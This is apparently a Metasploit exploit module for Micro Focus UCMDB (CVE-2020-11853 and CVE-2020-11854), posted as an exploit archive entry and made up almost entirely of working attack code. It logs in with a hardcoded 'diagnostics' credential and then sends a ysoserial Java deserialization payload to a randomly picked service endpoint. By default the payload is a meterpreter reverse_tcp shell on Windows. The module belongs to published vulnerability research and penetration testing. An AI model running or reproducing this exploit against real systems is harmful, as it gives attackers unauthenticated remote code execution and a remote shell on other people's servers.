Micro Focus UCMDB Remote Code Execution

`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Exploit::Remote  
Rank = ExcellentRanking  
  
include Msf::Exploit::EXE  
include Msf::Exploit::Remote::HttpClient  
include Msf::Exploit::Powershell  
  
def initialize(info = {})  
super(  
update_info(  
info,  
'Name' => 'Micro Focus UCMDB Java Deserialization Unauthenticated Remote Code Execution',  
'Description' => %q{  
This module exploits two vulnerabilities, that when chained allow an attacker  
to achieve unauthenticated remote code execution in Micro Focus UCMDB.  
UCMDB included in versions 2020.05 and below of Operations Bridge Manager are affected,  
but this module can probably also be used to exploit Operations Bridge Manager  
(containeirized) and Application Performance Management.  
Check the advisory and module documentation for details.  
The first vulnerability is a hardcoded password for the "diagnostics" user, which  
allows us to login to UCMDB. The second vulnerability is a run-of-the-mill Java  
deserialization, which can be exploited with ysoserial's CommonsBeanutils1 payload.  
Both Windows and Linux installations are vulnerable.  
},  
'License' => MSF_LICENSE,  
'Author' =>  
[  
'Pedro Ribeiro <pedrib[at]gmail.com>', # Vulnerability discovery and Metasploit module  
],  
'References' =>  
[  
[ 'URL', 'https://github.com/pedrib/PoC/blob/master/advisories/Micro_Focus/Micro_Focus_OBM.md'],  
[ 'CVE', '2020-11853'],  
[ 'CVE', '2020-11854'],  
[ 'ZDI', '20-1287'],  
[ 'ZDI', '20-1288'],  
],  
'Privileged' => true,  
'Platform' => %w[unix win],  
'DefaultOptions' =>  
{  
'WfsDelay' => 15  
},  
'Targets' =>  
# unfortunately could not find a way to determine target automatically  
[  
[  
'Windows',  
{  
'Platform' => 'win',  
'DefaultOptions' =>  
{ 'PAYLOAD' => 'windows/meterpreter/reverse_tcp' }  
},  
],  
[  
'Linux',  
{  
'Platform' => 'unix',  
'Arch' => [ARCH_CMD],  
'DefaultOptions' =>  
# Metasploit ysoserial's Linux payloads are currently BROKEN!  
# So we need to default to cmd/unix/generic, which is the only that works now.  
# Once this is fixed, change the default to cmd/unix/reverse_python  
# ... and remove this comment.  
{ 'PAYLOAD' => 'cmd/unix/generic' }  
},  
]  
],  
'DisclosureDate' => '2020-10-28',  
'DefaultTarget' => 0  
)  
)  
register_options(  
[  
Opt::RPORT(8443),  
OptString.new('TARGETURI', [ true, 'Base UCMDB path', '/']),  
OptBool.new('SSL', [true, 'Negotiate SSL/TLS', true]),  
]  
)  
end  
  
def check  
res = send_request_cgi({  
'uri' => normalize_uri(target_uri.path, 'ucmdb-api', 'connect'),  
'method' => 'GET'  
})  
if res && res.code == 200 && res.body.include?('HttpUcmdbServiceProviderFactoryImpl')  
if res.body.include?('ServerVersion=11.6.0')  
# 100% sure this version is vulnerable  
return Exploit::CheckCode::Appears  
end  
  
return Exploit::CheckCode::Detected  
end  
  
return Exploit::CheckCode::Unknown  
end  
  
def exploit  
print_status("#{peer} - Attacking #{target.name} target")  
  
if target.name == 'Windows'  
cmd = cmd_psh_payload(payload.encoded, payload_instance.arch.first, { remove_comspec: true, encode_final_payload: true })  
else  
cmd = payload.encoded  
end  
  
# First, let's authenticate  
res = send_request_cgi({  
'uri' => normalize_uri(target_uri.path, 'ucmdb-ui', 'cms', 'loginRequest.do;'),  
'method' => 'POST',  
'vars_post' => {  
'customerID' => '1',  
'isEncoded' => 'false',  
'userName' => 'diagnostics',  
'password' => 'YWRtaW4=',  
'ldapServerName' => 'UCMDB'  
}  
})  
unless res && res.code == 200 && res.get_cookies.include?('LWSSO_COOKIE_KEY')  
fail_with(Failure::NoAccess, "#{peer} - Failed to authenticate with the diagnostics user!")  
end  
cookies = res.get_cookies  
print_good("#{peer} - Succesfully authenticated and obtained our cookie!")  
  
# Now let's pick a random service since we have so many to choose from :D  
vuln_service = [  
'services/CmdbOperationExecuterService',  
'services/CategoryFacadeForGui',  
'services/CorrelationFacadeForGui',  
'services/CorrelationRunnerFacade',  
'services/PackageFacadeForGui',  
'services/SchedulerFacadeForGui',  
'services/FoldersFacade',  
'services/BusinessModelFacadeForGui',  
'services/WatchServerAPI',  
'services/TopologyService',  
'services/ReportService',  
'services/CMSImagesService',  
'services/PatternService',  
'services/FolderService',  
'services/RelatedCIsService',  
'services/MailService',  
'services/DiscoveryService',  
'services/ServiceDiscoveryService',  
'services/SoftwareLibraryService',  
'services/DataAcquisitionService',  
'services/CIService',  
'services/HistoryService',  
'services/BundleService',  
'services/LocationService',  
'services/SchedulerService',  
'services/ImpactService',  
'services/CommonService',  
'services/PermissionsService',  
'services/ClassModelService',  
'services/SnapshotService',  
'services/LDAPService',  
'services/CITService',  
'services/MultiTenancyService',  
'services/SecurityService',  
'services/ResourceManagementService',  
'services/AutomationMappingService',  
'services/LicensingService',  
'services/GenericAdapterService'  
].sample  
  
# Simple as  
payload = ::Msf::Util::JavaDeserialization.ysoserial_payload('CommonsBeanutils1', cmd)  
  
print_status("#{peer} - Sending payload to /#{vuln_service}")  
  
res = send_request_raw({  
'uri' => normalize_uri(target_uri.path, 'ucmdb-ui', vuln_service),  
'method' => 'POST',  
'cookie' => cookies,  
'headers' => { 'Content-Type' => 'application/x-java-serialized-object' },  
'data' => payload  
})  
  
if res && res.code == 500  
print_good("#{peer} - Success, shell incoming!")  
handler  
else  
print_error("#{peer} - Something failed, try again?")  
end  
end  
end  
`